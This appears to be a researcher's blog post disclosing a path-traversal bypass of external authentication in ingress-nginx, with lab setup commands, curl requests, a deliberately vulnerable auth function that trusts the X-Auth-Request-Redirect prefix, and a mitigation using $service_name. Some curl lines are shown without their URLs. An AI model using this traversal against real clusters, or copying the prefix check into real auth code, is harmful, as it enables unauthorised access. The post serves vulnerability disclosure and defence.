External Authentication bypass in ingress-nginx

Posted on May 29, 2022

In October 2021 I was researched ingress-nginx for possibility to bypass external authentication using path traversal. It was origin story for other investigations regarding insecure usage of $request_uri which leaded to Apache APISIX CVE-2021-43557. I have started with report on HackerOne to Kubernetes project: https://hackerone.com/reports/1357948. It took long time for the team to investigate it, but in the end I got some bounty 😏 sadly report was closed as informative. They asked me to create normal issue in github as this behavior is considered as not security issue. For me this is still an issue of insecure design.

Just look on values of X-Original-Url and X-Auth-Request-Redirect that are send to external auth service:

X-Request-Id: 7d979c82ca55141ed0d58655fbaac586
Host: auth-service.default.svc.cluster.local
X-Original-Url: http://app.test/public-service/..%2Fprotected-service/protected
X-Original-Method: GET
X-Sent-From: nginx-ingress-controller
X-Auth-Request-Redirect: /public-service/..%2Fprotected-service/protected
Connection: close
User-Agent: curl/7.75.0
Accept: */*

Root cause of the problem, is how nginx is handling $request_uri variable. It’s documented very “frugal”:

For me it’s not enough. There should be brought documentation of risks associated with consuming not normalized paths. After pointing it out to nginx team, I got response that it’s obvious that $request_uri is not normalized and developers should take care of their projects 😕. This would be perfect world, but we are not living in such. Just compare it with documentation in envoy:

If you thinks similar. Put your comment in https://github.com/kubernetes/ingress-nginx/issues/8644

Setting the stage

install ingress-nginx into Kubernetes:

helm upgrade --install ingress-nginx ingress-nginx \
  --repo https://kubernetes.github.io/ingress-nginx \
  --namespace ingress-nginx --create-namespace

In case of problems follow official guide.

deploy test application

kubectl apply -f \

[optional] forward ingress port

kubectl port-forward service/ingress-nginx-controller \ 
  -n ingress-nginx 8080:80

verify services

First public service. It should be available without authentication:

$ curl -H "Host: app.test"
{"data":"public data"}

and now protected:

$ curl  -H "Host: app.test"
<head><title>401 Authorization Required</title></head>
<center><h1>401 Authorization Required</h1></center>

$ curl \
  -H "X-Api-Key: secret-api-key" -H "Host: app.test"
{"data":"protected data"}

as you can see I need to provide “secret-api-key” to get resource.


Let’s send request with path traversal

$ curl \
  -H "Host: app.test"
{"data":"protected data"}

As you can see, I was able to bypass uri restrictions 😄

Authentication service

Of course not all authentication services will be vulnerable. Only those that are making specific decisions based on requested paths. In my case service looks like this:

def verify():
    print(request.headers, file=sys.stderr)
    api_key = request.headers.get('X-Api-Key')
    request_redirect = request.headers.get('X-Auth-Request-Redirect')

    if request_redirect and request_redirect.startswith("/public-service/"):
        return Response(status = HTTPStatus.NO_CONTENT)

    if api_key == "secret-api-key":  
        return Response(status = HTTPStatus.NO_CONTENT)

    return Response(status = HTTPStatus.UNAUTHORIZED)

and ingress is defined as:

apiVersion: networking.k8s.io/v1
kind: Ingress
  name: my-ingress
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: /$1
    nginx.ingress.kubernetes.io/auth-url: http://auth-service.default.svc.cluster.local:8080/verify
    - host: app.test
          - path: /public-service/(.*)
            pathType: Prefix
                name: public-service
                  number: 8080
          - path: /protected-service/(.*)
            pathType: Prefix
                name: protected-service
                  number: 8080


One thing is to not trust content of X-Original-Uri and X-Auth-Request-Redirect headers. But there is also nice variable that can be used: $service_name

apiVersion: networking.k8s.io/v1
kind: Ingress
  name: my-ingress
    nginx.ingress.kubernetes.io/rewrite-target: /$1
    nginx.ingress.kubernetes.io/auth-url: http://auth-service.default.svc.cluster.local:8080/verify
    nginx.ingress.kubernetes.io/configuration-snippet: |
      more_set_input_headers "X-Forwarded-Scheme: $scheme";
      more_set_input_headers "X-Forwarded-Uri: $uri";
      more_set_input_headers "X-Forwarded-Prefix: $service_name";
      more_set_input_headers "X-Forwarded-Host: $http_host";      

it allows to get name of service in kubernetes that is targeted by request and pass it to auth-url. This way it’s not manipulated!


I’m really happy that I have asked myself what is X-Auth-Request-Redirect header 🙂 This question took me for nice adventure, where I have checked source code of several ingress controllers.

What is sad is how nginx is considering $request_uri and how hard is to convince both nginx and ingress-nginx team that this is real security problem.

Whole code of this example is here https://github.com/xvnpw/k8s-ingress-auth-bypass.

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